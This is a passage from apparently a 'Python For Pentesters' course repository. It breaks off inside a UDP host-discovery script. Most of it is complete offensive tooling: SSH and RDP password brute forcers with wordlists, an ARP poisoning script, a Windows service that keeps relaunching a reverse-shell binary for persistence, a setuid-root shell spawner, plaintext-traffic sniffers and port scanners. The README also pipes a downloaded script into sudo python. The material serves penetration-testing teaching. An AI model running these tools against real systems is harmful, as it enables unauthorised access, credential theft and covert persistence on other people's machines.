├── README.md ├── code ├── README.md ├── engines │ ├── capstone_engine │ │ └── simple_capstone.py │ ├── keystone_engine │ │ └── simple_keystone.py │ └── unicorn_engine │ │ ├── simple_unicorn.py │ │ └── simple_unicorn_with_keystone.py ├── maintain_access │ ├── linux_give_me_root │ │ └── give_me_root.py │ ├── reverse_shell_service │ │ └── my_service.py │ └── simple_service │ │ └── my_service.py ├── network │ ├── async_tcp_proxy.py │ ├── asyncssh_bruteforce_ssh │ │ ├── asyncssh_bruteforce_ssh.py │ │ ├── passwords.txt │ │ └── users.txt │ ├── rdp_brute_force │ │ ├── passwords.txt │ │ └── rdp_brute.py │ ├── scapy │ │ ├── arp_poison.py │ │ ├── output.pcap │ │ ├── scapy_simple_sniffer.py │ │ ├── sniff_filter_callback.py │ │ ├── sniff_filter_timeout_save_to_disk.py │ │ └── sniff_offline_pcap.py │ ├── simple_tcp_client.py │ ├── tcp_port_scanners │ │ ├── async_simple_tcp_port_scanner.py │ │ └── simple_tcp_port_scanner.py │ ├── udp_client.py │ └── udp_discovery │ │ ├── udp_host_discovery.py │ │ └── udp_host_discovery_asyncio.py ├── python_malware │ ├── keylogger │ │ ├── constants.py │ │ ├── keylogger_database.py │ │ ├── keylogger_server.py │ │ └── win_keylogger.py │ └── shellcode_ctypes │ │ ├── notes.txt │ │ ├── sample_shellcode_32bit.txt │ │ ├── sample_shellcode_64bit.txt │ │ ├── shellcode1.py │ │ └── shellcode2.py └── web │ ├── brute_force │ ├── bruteforce_pcpapp.py │ └── passwords.txt │ ├── exploit │ └── full_exploit.py │ └── reset_token │ └── token_stealer.py ├── lab ├── docker-compose.yml ├── pcpapp │ └── Dockerfile ├── server1 │ ├── Dockerfile │ ├── ftp_server │ │ └── ftp_server.py │ └── run.sh ├── server2 │ ├── Dockerfile │ └── apps │ │ ├── app1 │ │ └── index.html │ │ ├── app2 │ │ └── index.html │ │ └── tools │ │ ├── http_auth.py │ │ └── run_apps.sh └── setup.sh └── slides ├── pdf └── PythonForPentesters.pdf └── pptx └── PythonForPentesters.pptx /README.md: -------------------------------------------------------------------------------- 1 | # Python For Penetration Testers 2 | 3 | All corresponding files/examples are provided within the course materials except those that are strictly mentioned to be in this repository. 4 | -------------------------------------------------------------------------------- /code/README.md: -------------------------------------------------------------------------------- 1 | ## All code for "Python For Pentesters" course should be located here. 2 | 3 | #### To install python3.10 & pip3.10 4 | 5 | ``` 6 | sudo apt install software-properties-common -y 7 | sudo add-apt-repository ppa:deadsnakes/ppa -y 8 | sudo apt install python3.10 python3.10-distutils 9 | curl -sS https://bootstrap.pypa.io/get-pip.py | sudo python3.10 10 | ``` 11 | -------------------------------------------------------------------------------- /code/engines/capstone_engine/simple_capstone.py: -------------------------------------------------------------------------------- 1 | from capstone import * 2 | 3 | shellcode = b"\xb8\x01\x00\x00\x00\xbb\x08\x00\x00\x00\x83\xe8\x01\x01\xd8" 4 | 5 | cs = Cs(CS_ARCH_X86, CS_MODE_64) 6 | for i in cs.disasm(shellcode, 0): 7 | machine_code = " ".join([f"{x:02x}" for x in i.bytes]) 8 | print(machine_code.ljust(40), i.mnemonic.ljust(10), i.op_str) 9 | -------------------------------------------------------------------------------- /code/engines/keystone_engine/simple_keystone.py: -------------------------------------------------------------------------------- 1 | from keystone import * 2 | CODE = ( 3 | "mov eax, 1 ;" # store 1 at eax 4 | "mov ebx, 8 ;" # store 8 at ebx 5 | "add eax, ebx " # add ebx to eax 6 | ) 7 | ks = Ks(KS_ARCH_X86, KS_MODE_32) 8 | encoding, count = ks.asm(CODE) 9 | print(f"{count} instructions have been encoded!") 10 | print("".join([f"\\x{i:02x}" for i in encoding])) 11 | -------------------------------------------------------------------------------- /code/engines/unicorn_engine/simple_unicorn.py: -------------------------------------------------------------------------------- 1 | from binascii import unhexlify 2 | from unicorn import * 3 | from unicorn.arm64_const import * 4 | # ARM64 code to be emulated 5 | ARM64_CODE = "a0008052" # mov w0, #0x5 6 | ARM64_CODE+= "2000000b" # add w0, w1, w0 7 | ARM64_CODE = unhexlify(ARM64_CODE.encode()) 8 | # memory address where emulation starts 9 | ADDRESS = 0x1000000 10 | print("Emulate ARM64 code") 11 | try: 12 | mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) # Initialize emulator in ARM64 (AARCH64) mode 13 | mu.mem_map (ADDRESS, 2 * 1024 * 1024) # map 2MB memory for this emulation 14 | mu.mem_write(ADDRESS, ARM64_CODE) # write machine code to be emulated to memory 15 | mu.reg_write(UC_ARM64_REG_W1, 0x1) # initialize machine registers 16 | mu.emu_start(ADDRESS, ADDRESS + len(ARM64_CODE))# emulate code in infinite time & unlimited instructions 17 | print("Emulation done. Below is the CPU context") # now print out some registers 18 | r_W0 = mu.reg_read(UC_ARM64_REG_W0) 19 | print (f"W0 = {hex(r_W0)}") 20 | except UcError as e: 21 | print("ERROR: %s" % e) 22 | -------------------------------------------------------------------------------- /code/engines/unicorn_engine/simple_unicorn_with_keystone.py: -------------------------------------------------------------------------------- 1 | from unicorn import * 2 | from unicorn.arm64_const import * 3 | from keystone import * 4 | ARM64_CODE = ( # ARM64 code to be emulated 5 | "mov w0, #0x5 ;" 6 | "add w0, w1, w0" 7 | ) 8 | ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN) # Initialize keystone engine 9 | ARM64_CODE, count = ks.asm(ARM64_CODE) 10 | ARM64_CODE = bytes(ARM64_CODE) 11 | ADDRESS = 0x1000000 # memory address where emulation starts 12 | print(f"Emulating {count} ARM64 instructions") 13 | try: 14 | mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) # Initialize emulator in ARM64 (AARCH64) mode 15 | mu.mem_map(ADDRESS, 2 * 1024 * 1024) # map 2MB memory for this emulation 16 | mu.mem_write(ADDRESS, ARM64_CODE) # write machine code to be emulated to memory 17 | mu.reg_write(UC_ARM64_REG_W1, 0x1) # initialize machine registers 18 | mu.emu_start(ADDRESS, ADDRESS + len(ARM64_CODE)) 19 | print("Emulation done. Below is the CPU context") 20 | r_W0 = mu.reg_read(UC_ARM64_REG_W0) 21 | print (f"W0 = {hex(r_W0)}") 22 | except UcError as e: 23 | print("ERROR: %s" % e) 24 | -------------------------------------------------------------------------------- /code/maintain_access/linux_give_me_root/give_me_root.py: -------------------------------------------------------------------------------- 1 | from os import setuid, setgid 2 | from pty import spawn 3 | 4 | setuid(0) 5 | setgid(0) 6 | spawn("/bin/bash") 7 | -------------------------------------------------------------------------------- /code/maintain_access/reverse_shell_service/my_service.py: -------------------------------------------------------------------------------- 1 | import servicemanager 2 | import sys 3 | import subprocess 4 | import win32serviceutil 5 | import win32service 6 | import win32event 7 | 8 | PATH_TO_REV_SHELL = r"C:\myscript.exe" 9 | 10 | class MyService(win32serviceutil.ServiceFramework): 11 | _svc_name_ = "MyService" 12 | _svc_display_name_ = "My first service" 13 | _svc_description_ = ("A service that executes our reverse shell binary.") 14 | 15 | def __init__(self, args): 16 | self.timeout = 1000 * 60 # Every minute. 17 | 18 | win32serviceutil.ServiceFramework.__init__(self, args) 19 | self.hWaitStop = win32event.CreateEvent(None, 0, 0, None) 20 | 21 | def SvcStop(self): 22 | self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) 23 | win32event.SetEvent(self.hWaitStop) 24 | 25 | def SvcDoRun(self): 26 | self.ReportServiceStatus(win32service.SERVICE_RUNNING) 27 | self.main() 28 | 29 | def main(self): 30 | while True: 31 | ret_code = win32event.WaitForSingleObject(self.hWaitStop, 32 | self.timeout) 33 | if ret_code == win32event.WAIT_OBJECT_0: 34 | servicemanager.LogInfoMsg("Service is stopping") 35 | break 36 | 37 | subprocess.call(PATH_TO_REV_SHELL, shell=False) 38 | 39 | if __name__ == '__main__': 40 | if len(sys.argv) == 1: 41 | servicemanager.Initialize() 42 | servicemanager.PrepareToHostSingle(MyService) 43 | servicemanager.StartServiceCtrlDispatcher() 44 | else: 45 | win32serviceutil.HandleCommandLine(MyService) 46 | -------------------------------------------------------------------------------- /code/maintain_access/simple_service/my_service.py: -------------------------------------------------------------------------------- 1 | import servicemanager 2 | import sys 3 | import time 4 | 5 | import win32event 6 | import win32service 7 | import win32serviceutil 8 | 9 | class MyService(win32serviceutil.ServiceFramework): 10 | _svc_name_ = "MyService" 11 | _svc_display_name_ = "My first service" 12 | _svc_description_ = ("Writes the date to a file named" 13 | " test.txt in the C drive.") 14 | 15 | def __init__(self, args): 16 | self.timeout = 1000 * 60 # Every minute. 17 | 18 | win32serviceutil.ServiceFramework.__init__(self, args) 19 | self.hWaitStop = win32event.CreateEvent(None, 0, 0, None) 20 | 21 | def SvcStop(self): 22 | self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) 23 | win32event.SetEvent(self.hWaitStop) 24 | 25 | def SvcDoRun(self): 26 | self.ReportServiceStatus(win32service.SERVICE_RUNNING) 27 | self.main() 28 | 29 | def main(self): 30 | while True: 31 | ret_code = win32event.WaitForSingleObject(self.hWaitStop, 32 | self.timeout) 33 | if ret_code == win32event.WAIT_OBJECT_0: 34 | servicemanager.LogInfoMsg("Service is stopping") 35 | break 36 | 37 | with open("C:\\test.txt", "a") as f: 38 | f.write(f"Hello, time now is {time.ctime()}\n") 39 | 40 | if __name__ == '__main__': 41 | if len(sys.argv) == 1: 42 | servicemanager.Initialize() 43 | servicemanager.PrepareToHostSingle(MyService) 44 | servicemanager.StartServiceCtrlDispatcher() 45 | else: 46 | win32serviceutil.HandleCommandLine(MyService) 47 | -------------------------------------------------------------------------------- /code/network/async_tcp_proxy.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import logging 3 | import sys 4 | import argparse 5 | 6 | 7 | PRINTABLE = b''.join([(126 >= i >= 32) and chr(i).encode() or b'.' for i in range(256)]) 8 | 9 | def hexdump(src: bytes, length=16): 10 | results = list() 11 | for i in range(0, len(src), length): 12 | word = src[i:i+length] 13 | printable = word.translate(PRINTABLE) 14 | hexa = ' '.join([f'{c:02X}' for c in word]) 15 | hexwidth = length*3 16 | results.append(f'{i:04x}: {hexa:<{hexwidth}} {printable.decode()}') 17 | 18 | for line in results: 19 | logging.debug(line) 20 | 21 | async def pipe(reader, writer, *, sending_remote:bool): 22 | try: 23 | while not reader.at_eof(): 24 | writer.write(data:=await reader.read(2048)) 25 | 26 | if(sending_remote): 27 | logging.debug(f"\nSending {len(data)} bytes") 28 | else: 29 | logging.debug(f"\nReceiving {len(data)} bytes") 30 | hexdump(data) 31 | finally: 32 | writer.close() 33 | 34 | async def handle_client(local_reader, local_writer, remote_host, remote_port): 35 | try: 36 | remote_reader, remote_writer = await asyncio.open_connection( 37 | remote_host, remote_port) 38 | pipe1 = pipe(local_reader, remote_writer, sending_remote=True) 39 | pipe2 = pipe(remote_reader, local_writer, sending_remote=False) 40 | await asyncio.gather(pipe1, pipe2) 41 | finally: 42 | local_writer.close() 43 | 44 | def main(): 45 | parser = argparse.ArgumentParser(add_help = True, description = "Simple TCP proxy") 46 | 47 | parser.add_argument('-s', '--server', dest="server_host", action='store', 48 | help="address to listen on (default 0.0.0.0)", default="0.0.0.0") 49 | parser.add_argument('-p', '--port', dest="server_port", action='store', 50 | help="port to listen on (default 9999)", default=9999) 51 | parser.add_argument('-r', '--remote-host', dest="remote_host", action='store', 52 | help="remote host to connect to", required=True) 53 | parser.add_argument('-t', '--remote-port', dest="remote_port", action='store', 54 | help="remote port to connect to", required=True) 55 | parser.add_argument('-v', '--verbose', dest='verbose', action='store_true', 56 | help="verbosity", default=False) 57 | 58 | if len(sys.argv)==1: 59 | parser.print_help() 60 | sys.exit(1) 61 | 62 | opts = parser.parse_args() 63 | 64 | loglevel = logging.DEBUG if opts.verbose else logging.INFO 65 | logging.basicConfig(format="%(message)s", level=loglevel) 66 | 67 | # Setting logging level of asyncio to WARNING 68 | logging.getLogger('asyncio').setLevel(logging.WARNING) 69 | 70 | # Create the server 71 | loop = asyncio.new_event_loop() 72 | coro = asyncio.start_server(lambda reader, writer: handle_client(reader, writer, 73 | opts.remote_host, int(opts.remote_port)), opts.server_host, int(opts.server_port)) 74 | server = loop.run_until_complete(coro) 75 | 76 | # Serve requests until Ctrl+C is pressed 77 | logging.info('Serving on {}'.format(server.sockets[0].getsockname())) 78 | try: 79 | loop.run_forever() 80 | except KeyboardInterrupt: 81 | pass 82 | 83 | # Close the server 84 | server.close() 85 | loop.run_until_complete(server.wait_closed()) 86 | loop.close() 87 | 88 | if __name__ == "__main__": 89 | main() 90 | -------------------------------------------------------------------------------- /code/network/asyncssh_bruteforce_ssh/asyncssh_bruteforce_ssh.py: -------------------------------------------------------------------------------- 1 | import sys, asyncio, asyncssh, argparse, ipaddress 2 | 3 | sem = asyncio.Semaphore(100) 4 | 5 | async def check_ssh_creds(host, username, password, port=22): 6 | async with sem: 7 | try: 8 | await asyncio.wait_for( 9 | asyncssh.connect(host, 10 | username=username, 11 | password=password, 12 | port=port, 13 | public_key_auth=False, 14 | known_hosts=None), 15 | timeout=3) 16 | print("[+] Credentials found:", host, username, password) 17 | except Exception as e: 18 | pass 19 | 20 | async def main(targets, port, users_file, pwds_file): 21 | coros = [] 22 | for target in targets: 23 | for username in users_file: 24 | for password in pwds_file: 25 | coros.append(check_ssh_creds(str(target), username.strip(), password.strip(), port)) 26 | pwds_file.seek(0) 27 | users_file.seek(0) 28 | await asyncio.gather(*coros) 29 | 30 | if __name__ == "__main__": 31 | parser = argparse.ArgumentParser(description="Async SSH brute forcer") 32 | parser.add_argument("targets", help="IPv4 host or network 192.168.10.5, 192.168.10.0/24, ..etc", nargs=1) 33 | parser.add_argument("-U", dest="users_file", help="File containing users each in a line", required=True) 34 | parser.add_argument("-P", dest="pwds_file", help="File containg passwords each in a line", required=True) 35 | parser.add_argument("-p", dest="port", help="Port to use when connecting to SSH", default=22) 36 | 37 | 38 | args = parser.parse_args() 39 | 40 | targets = ipaddress.IPv4Network(*args.targets).hosts() 41 | port = args.port 42 | users_file = open(args.users_file) 43 | pwds_file = open(args.pwds_file) 44 | 45 | asyncio.run(main(targets, port, users_file, pwds_file)) 46 | -------------------------------------------------------------------------------- /code/network/asyncssh_bruteforce_ssh/passwords.txt: -------------------------------------------------------------------------------- 1 | elite1234 2 | 0c00l 3 | zeroco0ol 4 | letmein 5 | passw0rd 6 | passw0rd! 7 | 1337khalid 8 | secret 9 | s3cr3t 10 | -------------------------------------------------------------------------------- /code/network/asyncssh_bruteforce_ssh/users.txt: -------------------------------------------------------------------------------- 1 | root 2 | khalid 3 | testing 4 | testuser 5 | -------------------------------------------------------------------------------- /code/network/rdp_brute_force/passwords.txt: -------------------------------------------------------------------------------- 1 | password 2 | pass123 3 | passw000rd 4 | passw0rd 5 | hollycrap 6 | whatever 7 | -------------------------------------------------------------------------------- /code/network/rdp_brute_force/rdp_brute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # [MS-RDPBCGR] and [MS-CREDSSP] partial implementation 12 | # just to reach CredSSP auth. This example test whether 13 | # an account is valid on the target host. 14 | # 15 | # Author: 16 | # Alberto Solino (@agsolino) 17 | # 18 | # ToDo: 19 | # [x] Manage to grab the server's SSL key so we can finalize the whole 20 | # authentication process (check [MS-CSSP] section 3.1.5) 21 | # 22 | # 23 | # Original code here: https://github.com/SecureAuthCorp/impacket/blob/master/examples/rdp_check.py 24 | # 25 | 26 | from struct import pack, unpack 27 | 28 | from impacket.examples import logger 29 | from impacket.structure import Structure 30 | from impacket.spnego import GSSAPI, ASN1_SEQUENCE, ASN1_OCTET_STRING, asn1decode, asn1encode 31 | 32 | 33 | from binascii import a2b_hex 34 | from Cryptodome.Cipher import ARC4 35 | from impacket import ntlm, version 36 | 37 | import socket 38 | import argparse 39 | import sys 40 | import logging 41 | 42 | try: 43 | from OpenSSL import SSL, crypto 44 | except: 45 | logging.critical("pyOpenSSL is not installed, can't continue") 46 | sys.exit(1) 47 | 48 | 49 | TDPU_CONNECTION_REQUEST = 0xe0 50 | TPDU_CONNECTION_CONFIRM = 0xd0 51 | TDPU_DATA = 0xf0 52 | TPDU_REJECT = 0x50 53 | TPDU_DATA_ACK = 0x60 54 | 55 | # RDP_NEG_REQ constants 56 | TYPE_RDP_NEG_REQ = 1 57 | PROTOCOL_RDP = 0 58 | PROTOCOL_SSL = 1 59 | PROTOCOL_HYBRID = 2 60 | 61 | # RDP_NEG_RSP constants 62 | TYPE_RDP_NEG_RSP = 2 63 | EXTENDED_CLIENT_DATA_SUPPORTED = 1 64 | DYNVC_GFX_PROTOCOL_SUPPORTED = 2 65 | 66 | # RDP_NEG_FAILURE constants 67 | TYPE_RDP_NEG_FAILURE = 3 68 | SSL_REQUIRED_BY_SERVER = 1 69 | SSL_NOT_ALLOWED_BY_SERVER = 2 70 | SSL_CERT_NOT_ON_SERVER = 3 71 | INCONSISTENT_FLAGS = 4 72 | HYBRID_REQUIRED_BY_SERVER = 5 73 | SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 6 74 | 75 | class TPKT(Structure): 76 | commonHdr = ( 77 | ('Version','B=3'), 78 | ('Reserved','B=0'), 79 | ('Length','>H=len(TPDU)+4'), 80 | ('_TPDU','_-TPDU','self["Length"]-4'), 81 | ('TPDU',':=""'), 82 | ) 83 | 84 | class TPDU(Structure): 85 | commonHdr = ( 86 | ('LengthIndicator','B=len(VariablePart)+1'), 87 | ('Code','B=0'), 88 | ('VariablePart',':=""'), 89 | ) 90 | 91 | def __init__(self, data = None): 92 | Structure.__init__(self,data) 93 | self['VariablePart']='' 94 | 95 | class CR_TPDU(Structure): 96 | commonHdr = ( 97 | ('DST-REF',' 437 | # 438 | # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted 439 | # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth 440 | # field is omitted by the client unless the client is sending the last SPNEGO token. 441 | # If the client is sending the last SPNEGO token, the TSRequest structure MUST have 442 | # both the negoToken and the pubKeyAuth fields filled in. 443 | 444 | # NTLMSSP stuff 445 | auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True) 446 | 447 | ts_request = TSRequest() 448 | ts_request['NegoData'] = auth.getData() 449 | 450 | tls.send(ts_request.getData()) 451 | buff = tls.recv(4096) 452 | ts_request.fromString(buff) 453 | 454 | 455 | # 3. The client encrypts the public key it received from the server (contained 456 | # in the X.509 certificate) in the TLS handshake from step 1, by using the 457 | # confidentiality support of SPNEGO. The public key that is encrypted is the 458 | # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 459 | # certificate, as specified in [RFC3280] section 4.1. The encrypted key is 460 | # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over 461 | # the TLS channel to the server. 462 | # 463 | # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted 464 | # from the TSRequest structure; the client MUST send its last SPNEGO token to the 465 | # server in the negoTokens field (see step 2) along with the encrypted public key 466 | # in the pubKeyAuth field. 467 | 468 | # Last SPNEGO token calculation 469 | #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData']) 470 | type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True) 471 | 472 | # Get server public key 473 | server_cert = tls.get_peer_certificate() 474 | pkey = server_cert.get_pubkey() 475 | dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey) 476 | 477 | # Fix up due to PyOpenSSL lack for exporting public keys 478 | dump = dump[7:] 479 | dump = b'\x30'+ asn1encode(dump) 480 | 481 | cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) 482 | signature, cripted_key = cipher.encrypt(dump) 483 | ts_request['NegoData'] = type3.getData() 484 | ts_request['pubKeyAuth'] = signature.getData() + cripted_key 485 | 486 | try: 487 | # Sending the Type 3 NTLM blob 488 | tls.send(ts_request.getData()) 489 | # The other end is waiting for the pubKeyAuth field, but looks like it's 490 | # not needed to check whether authentication worked. 491 | # If auth is unsuccessful, it throws an exception with the previous send(). 492 | # If auth is successful, the server waits for the pubKeyAuth and doesn't answer 493 | # anything. So, I'm sending garbage so the server returns an error. 494 | # Luckily, it's a different error so we can determine whether or not auth worked ;) 495 | buff = tls.recv(1024) 496 | except Exception as err: 497 | if str(err).find("denied") > 0: 498 | logging.debug(f"Access Denied") 499 | else: 500 | logging.error(err) 501 | return False 502 | 503 | # 4. After the server receives the public key in step 3, it first verifies that 504 | # it has the same public key that it used as part of the TLS handshake in step 1. 505 | # The server then adds 1 to the first byte representing the public key (the ASN.1 506 | # structure corresponding to the SubjectPublicKey field, as described in step 3) 507 | # and encrypts the binary result by using the SPNEGO encryption services. 508 | # Due to the addition of 1 to the binary data, and encryption of the data as a binary 509 | # structure, the resulting value may not be valid ASN.1-encoded values. 510 | # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest 511 | # structure and is sent over the encrypted TLS channel to the client. 512 | # The addition of 1 to the first byte of the public key is performed so that the 513 | # client-generated pubKeyAuth message cannot be replayed back to the client by an 514 | # attacker. 515 | # 516 | # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens 517 | # fields are omitted from the TSRequest structure. 518 | 519 | ts_request = TSRequest(buff) 520 | 521 | # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;) 522 | signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:]) 523 | 524 | # 5. After the client successfully verifies server authenticity by performing a 525 | # binary comparison of the data from step 4 to that of the data representing 526 | # the public key from the server's X.509 certificate (as specified in [RFC3280], 527 | # section 4.1), it encrypts the user's credentials (either password or smart card 528 | # PIN) by using the SPNEGO encryption services. The resulting value is 529 | # encapsulated in the authInfo field of the TSRequest structure and sent over 530 | # the encrypted TLS channel to the server. 531 | # The TSCredentials structure within the authInfo field of the TSRequest 532 | # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure, 533 | # but MUST NOT contain both. 534 | # 535 | # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens 536 | # fields are omitted from the TSRequest structure. 537 | tsp = TSPasswordCreds() 538 | tsp['domainName'] = domain 539 | tsp['userName'] = username 540 | tsp['password'] = password 541 | tsc = TSCredentials() 542 | tsc['credType'] = 1 # TSPasswordCreds 543 | tsc['credentials'] = tsp.getData() 544 | 545 | signature, cripted_creds = cipher.encrypt(tsc.getData()) 546 | ts_request = TSRequest() 547 | ts_request['authInfo'] = signature.getData() + cripted_creds 548 | tls.send(ts_request.getData()) 549 | tls.close() 550 | return True 551 | 552 | def main(): 553 | parser = argparse.ArgumentParser(add_help = True, description = "Test whether an account is valid on the target host using the RDP protocol.") 554 | 555 | parser.add_argument('-d', '--domain', dest="domain", action='store', help="domain to be used") 556 | parser.add_argument('-u', '--username', dest="username", action='store', help="username to be used") 557 | parser.add_argument('-P', '--password-file', dest="password_file", action='store', help="file containing passwords to brute force") 558 | parser.add_argument('-t', '--target', dest="target", action='store', help='target or address to brute force against') 559 | parser.add_argument('-v', '--verbose', dest='verbose', action='store_true', help="verbosity", default=False) 560 | 561 | if len(sys.argv)==1: 562 | parser.print_help() 563 | sys.exit(1) 564 | 565 | opts = parser.parse_args() 566 | 567 | domain, username, password_file, address = (opts.domain, opts.username, opts.password_file, opts.target) 568 | 569 | if domain is None: 570 | domain = '' 571 | 572 | loglevel = logging.DEBUG if opts.verbose else logging.INFO 573 | 574 | logging.basicConfig(format='[%(asctime)s] %(levelname)s: %(message)s', datefmt='%d/%m/%Y %H:%M:%S', level=loglevel) 575 | 576 | with open(password_file, "rt") as f: 577 | for pwd in f: 578 | pwd = pwd.strip() 579 | logging.debug(f"Trying password: {pwd}") 580 | if(check_rdp(address, username, pwd, domain)): 581 | logging.info(f"Found password: {pwd}") 582 | break 583 | logging.info(f"Brute forcing {address} finished") 584 | 585 | if __name__ == "__main__": 586 | main() 587 | -------------------------------------------------------------------------------- /code/network/scapy/arp_poison.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from time import sleep 3 | from scapy.all import (ARP, Ether, send, srp, get_if_hwaddr, getmacbyip) 4 | 5 | def do_poison_arp(attacker_mac, target_gw_ip, 6 | target_mac, target_ip): 7 | while True: 8 | send(ARP(hwsrc=attacker_mac, 9 | psrc=target_gw_ip, 10 | hwdst=target_mac, 11 | pdst=target_ip 12 | ), 13 | verbose=False) 14 | sleep(3) 15 | 16 | def restore_arp(original_gw_mac, target_gw_ip, 17 | target_mac, target_ip): 18 | send(ARP(hwsrc=original_gw_mac, 19 | psrc=target_gw_ip, 20 | hwdst=target_mac, 21 | pdst=target_ip 22 | ), 23 | verbose=False) 24 | 25 | def main(target_ip, target_gw_ip, iface): 26 | attacker_mac = get_if_hwaddr(iface) 27 | target_mac = getmacbyip(target_ip) 28 | original_gw_mac = getmacbyip(target_gw_ip) 29 | 30 | try: 31 | print(f"Poisoning ARP cache of {target_ip}..") 32 | do_poison_arp(attacker_mac, target_gw_ip, target_mac, target_ip) 33 | except KeyboardInterrupt: 34 | print("Restoring ARP cache..") 35 | restore_arp(original_gw_mac, target_gw_ip, target_mac, target_ip) 36 | 37 | if __name__ == "__main__": 38 | if(len(sys.argv) != 4): 39 | print(f"python {sys.argv[0]} ") 40 | print(f"python {sys.argv[0]} 172.16.238.12 172.16.238.1 eth0") 41 | sys.exit(0) 42 | main(sys.argv[1], sys.argv[2], sys.argv[3]) 43 | -------------------------------------------------------------------------------- /code/network/scapy/output.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/omr00t/python-for-pentesters/e865e94b26694df603ee83c9095eca6a45045d3d/code/network/scapy/output.pcap -------------------------------------------------------------------------------- /code/network/scapy/scapy_simple_sniffer.py: -------------------------------------------------------------------------------- 1 | from scapy.all import sniff, rdpcap 2 | 3 | 4 | def main(): 5 | packets = sniff(offline="output.pcap") 6 | print(packets) 7 | packets.nsummary() 8 | 9 | if __name__ == "__main__": 10 | main() 11 | -------------------------------------------------------------------------------- /code/network/scapy/sniff_filter_callback.py: -------------------------------------------------------------------------------- 1 | from scapy.all import sniff, TCP, IP 2 | 3 | 4 | def packet_callback(received_packet): 5 | if len(received_packet[TCP].payload) > 0: 6 | print("Destination:", received_packet[IP].dst) 7 | print("\tData:", bytes(received_packet[TCP].payload)) 8 | 9 | def main(): 10 | sniff(filter="tcp port 80 or tcp port 21", prn=packet_callback, store=0) 11 | 12 | if __name__ == "__main__": 13 | main() 14 | -------------------------------------------------------------------------------- /code/network/scapy/sniff_filter_timeout_save_to_disk.py: -------------------------------------------------------------------------------- 1 | from scapy.all import sniff, wrpcap 2 | 3 | 4 | def main(): 5 | packets = sniff(filter="tcp port 80 or tcp port 21", timeout=30) 6 | wrpcap("output.pcap", packets) 7 | 8 | if __name__ == "__main__": 9 | main() 10 | -------------------------------------------------------------------------------- /code/network/scapy/sniff_offline_pcap.py: -------------------------------------------------------------------------------- 1 | from scapy.all import sniff, rdpcap 2 | 3 | def main(): 4 | packets = sniff(offline="output.pcap") 5 | print(packets) 6 | packets.nsummary() 7 | 8 | if __name__ == "__main__": 9 | main() 10 | -------------------------------------------------------------------------------- /code/network/simple_tcp_client.py: -------------------------------------------------------------------------------- 1 | import sys, socket 2 | def main(host, port): 3 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 4 | s.connect((host, port)) 5 | s.send(b"Hello!") 6 | data_received = s.recv(1024) 7 | print(f"Received bytes:", data_received) 8 | if __name__ == "__main__": 9 | if(len(sys.argv) == 3): 10 | main(sys.argv[1], int(sys.argv[2])) 11 | else: 12 | print(f"python {sys.argv[0]} ") 13 | sys.exit(0) 14 | -------------------------------------------------------------------------------- /code/network/tcp_port_scanners/async_simple_tcp_port_scanner.py: -------------------------------------------------------------------------------- 1 | import asyncio, sys 2 | sem = asyncio.Semaphore(400) 3 | async def tcp_scan(host, port): 4 | async with sem: 5 | try: 6 | conn = asyncio.open_connection(host, port) 7 | await asyncio.wait_for(conn, 1) 8 | print(f"{port}/tcp open") 9 | except (ConnectionRefusedError, asyncio.TimeoutError): 10 | pass 11 | async def main(): 12 | coros = [tcp_scan(sys.argv[1], port) for port in range(1, 65536)] 13 | await asyncio.gather(*coros) 14 | asyncio.run(main()) 15 | -------------------------------------------------------------------------------- /code/network/tcp_port_scanners/simple_tcp_port_scanner.py: -------------------------------------------------------------------------------- 1 | import socket, sys 2 | def tcp_scan(host): 3 | for port in range(1, 65536): 4 | try: 5 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 6 | s.settimeout(1) 7 | s.connect((host, port)) 8 | except (ConnectionRefusedError, socket.timeout): 9 | pass 10 | else: 11 | print(f"{port}/tcp open") 12 | if __name__ == "__main__": 13 | tcp_scan(sys.argv[1]) 14 | -------------------------------------------------------------------------------- /code/network/udp_client.py: -------------------------------------------------------------------------------- 1 | import socket, sys 2 | def main(host, port): 3 | with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s: 4 | s.sendto(b"Hello!", (host, port)) 5 | data, connection = s.recvfrom(1024) 6 | s.sendto(b"There!", connection) 7 | print("Received bytes:", data) 8 | if __name__ == "__main__": 9 | main(sys.argv[1], int(sys.argv[2])) 10 | -------------------------------------------------------------------------------- /code/network/udp_discovery/udp_host_discovery.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import ipaddress 4 | import sys 5 | import threading 6 | 7 | from os import getuid 8 | from time import sleep 9 | 10 | def parse_icmp(raw_data): 11 | packet_type, code, checksum = struct.unpack('! B B H', raw_data[:4]) 12 | data = raw_data[4:] 13 | return packet_type, 